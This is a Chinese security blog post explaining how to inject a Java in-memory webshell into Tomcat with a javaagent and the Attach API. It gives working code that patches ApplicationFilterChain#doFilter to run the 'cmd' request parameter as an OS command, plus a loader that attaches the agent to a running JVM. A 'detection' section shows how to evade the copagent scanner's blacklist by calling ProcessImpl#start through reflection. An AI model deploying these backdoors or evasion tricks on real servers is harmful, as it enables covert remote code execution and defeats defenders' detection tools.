字节码插桩技术在内存马中的应用
文章目录
认识JavaAgent
在jdk的rt.jar包中存在一个 java.lang.instrument
包。
java Instrumentation
指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序。这种监测和协助包括但不限于获取JVM运行时状态,替换和修改类定义等。简单一句话概括下:Java Instrumentation可以在JVM启动后,动态修改已加载或者未加载的类,包括类的属性、方法。
一些说明如下:
javaagent
是java命令的一个参数,用于指定一个jar包;- JavaAgent的使用存在两种方式:premain(JVM启动前加载)和agentmain(JVM启动后加载);
premain和agentmain的函数声明如下所示,拥有 Instrumentation inst
参数的方法优先级更高:
public static void agentmain(String agentArgs, Instrumentation inst) {
...
}
public static void agentmain(String agentArgs) {
...
}
public static void premain(String agentArgs, Instrumentation inst) {
...
}
public static void premain(String agentArgs) {
...
}
第一个参数 String agentArgs
就是Java agent的参数。例如 java -jar xxx.jar -javaagent:out\artifacts\menshell_jar\menshell.jar=P1n93r
中的 P1n93r
。
agentmain方式
这里不讨论premain方式,因为premain方式需要 在启动时指定javaagent参数进行使用 。对于注入内存马来讲,靶机的WEB应用已经启动了,无法再使用premain方式进行注入;
首先明确注入内存马的步骤:
- 准备一个agent.jar(agentmain方式),功能就是使用javassist技术修改某个类的字节码,以此添加内存马的功能;
- 因为目标系统已经启动了,为了实现启动后加载,可以使用
Attach API
将agent.jar attach到目标JVM中; - agent.jar作为JVM的代理程序成功执行,可以修改某个类的字节码,从而注入内存马。
准备agent.jar
首先准备一个agentmain方式的agent.jar,用来修改Tomcat中的 org.apache.catalina.core.ApplicationFilterChain
类字节码,为其添加webshell的功能;
创建新项目,结构如下所示(忽略其中的 `` ,这个包是其他的测试代码):
其中,类 AgentMainTest
需要实现 agentmain(String agentArgs, Instrumentation instrumentation)
方法;且需要在 src\main\META-INF\MANIFEST.MF
中指定 Agent-Class: AgentMainTest
。如下图所示:
在 AgentMainTest#agentmain()
中实现对特定类进行字节码修改。在修改之前,先普及一下 Instrumentation
的几个需要用到的方法:
Instrumentation#addTransformer(ClassFileTransformer transformer)
方法:从当前时间开始,后续所有的类在进行加载前,需要先经过此方法配置的Transformer来进行字节码转换;retransformClasses(Class<?>... classes)
方法:该方法是JDK1.6后添加的。对于已经加载过的类,可以执行retransformClasses()来重新触发Transformer。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
所以,一个简单的 AgentMainTest#agentmain()
实现代码如下所示:
接下来就是 ClassFileTransformer
的具体实现了,就是具体的字节码修改逻辑,一个参考如下:
new ClassFileTransformer() {
@SneakyThrows
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
// 因为获取的keyClass格式为:org/apache/catalina/core/ApplicationFilterChain,转一下
className = className.replace('/', '.');
// 找到待修改的目标类
if (keyClass.equals(className)) {
System.out.println(":::::::::::::::::::Find Key Class:" + className + ":::::::::::::::::::");
// 接下来就是使用javassist修改目标类的字节码了
ClassPool cp = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(classPath);
}
CtClass cc = cp.get(className);
// 修改目标类的doFilter方法
CtMethod m = cc.getDeclaredMethod("doFilter");
// 在方法前植入恶意代码
m.insertBefore(" javax.servlet.ServletRequest req = request;\n" +
" javax.servlet.ServletResponse res = response;" +
"String cmd = req.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
"Process process = Runtime.getRuntime().exec(cmd);\n" +
"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
"new java.io.InputStreamReader(process.getInputStream()));\n" +
"StringBuilder stringBuilder = new StringBuilder();\n" +
"String line;\n" +
"while ((line = bufferedReader.readLine()) != null) {\n" +
"stringBuilder.append(line + '\\n');\n" +
"}\n" +
"res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
"res.getOutputStream().flush();\n" +
"res.getOutputStream().close();\n" +
"}");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
}
return classfileBuffer;
}
};
逻辑就是:如果当前拦截的类为 org.apache.catalina.core.ApplicationFilterChain
,则使用javassist修改这个类的 doFilter
方法,在方法前添加恶意代码,从而植入webshell。
然后就可以使用IDEA将这个项目打包成jar了:
准备attack agent.jar到目标JVM
前面我们已经准备好了恶意的agent.jar代理包,那么现在就需要将这个agent.jar加载到目标JVM中实现恶意的代理。前面说到,使用官方提供的 Attack API
即可实现。一个参考案例如下:
/**
* 运行时加载Agent,目标启动JVM后动态注入agent
*/
public static void main(String[] args) {
// agent.jar的物理路径
String agentPath = "D:/P1n93r/workspace/menshell/out/artifacts/menshell_jar/menshell.jar";
// 目标JVM的名称
String targetJvmDisplayname = "com.pinger.TestMain";
try {
java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");
java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();
java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});
add.setAccessible(true);
add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});
Class<?> myVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> myVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method list = myVirtualMachine.getDeclaredMethod("list", new java.lang.Class[]{});
java.util.List<Object> invoke = (java.util.List<Object>) list.invoke(null, new Object[]{});
// 遍历所有JVM
for (int i = 0; i < invoke.size(); i++) {
Object o = invoke.get(i);
java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", new Class[]{});
Object name = displayName.invoke(o, new Object[]{});
System.out.println(String.format("find jvm process name:[[[" +"%s"+"]]]", name.toString()));
// 找到目标WEB服务器的JVM虚拟机,Tomcat是org.apache.catalina.startup.Bootstrap
// 寻找准备attach的目标JVM
if (name.toString().contains(targetJvmDisplayname)) {
java.lang.reflect.Method attach = myVirtualMachine.getDeclaredMethod("attach", new Class[]{myVirtualMachineDescriptor});
Object machine = attach.invoke(myVirtualMachine, new Object[]{o});
java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});
loadAgent.invoke(machine, new Object[]{agentPath});
java.lang.reflect.Method detach = myVirtualMachine.getDeclaredMethod("detach", new Class[]{});
detach.invoke(machine, new Object[]{});
System.out.println("inject tomcat done, break.");
System.out.println("check url http://localhost:8080/?cmd=whoami");
break;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
成果演示
首先我起一个简单的SpringBoot项目,是用IDEA起的,其JVM DisplayName包含: com.pinger.TestMain
字符串(当然,也可以使用PID连接到目标JVM)。
然后运行如下代码(当然,也可以打包成jar来执行),将agent.jar attack到目标JVM:
访问地址 http://[ip]:[port]/?cmd=whoami
,发现内存马已生效:
同时发现目标WEB系统中存在如下日志:
这条日志表明, ApplicationFilterChain
这个类,在SpringBoot启动后,如果没有访问url,此时这个类还没有被加载。此时经过agent.jar中的transform处理,修改其字节码,添加了恶意代码,然后再被加载。
内存马检测
可以参考LandGrey师傅的copagent工具。此外提一嘴,看了下copagent中,检测黑名单命令执行函数有: ProcessBuilder
和 getRuntime
。此时我们可以使用 java.lang.ProcessImpl#start()
进行绕过,如下所示:
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class,String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(null, new String[]{"calc"}, null, null, null, false);
内存马卸载
对于这种方式添加的内存马,在不重启的情况下。我觉得可以采用注入内存马同样的方式,在已知正常的代码(剔除恶意代码后的代码)的情况下,将正常的代码重新注入且覆盖( CtMethod#setBody()
的方式)到目标方法。
参考链接
文章作者 P1n93r
上次更新 2021-06-15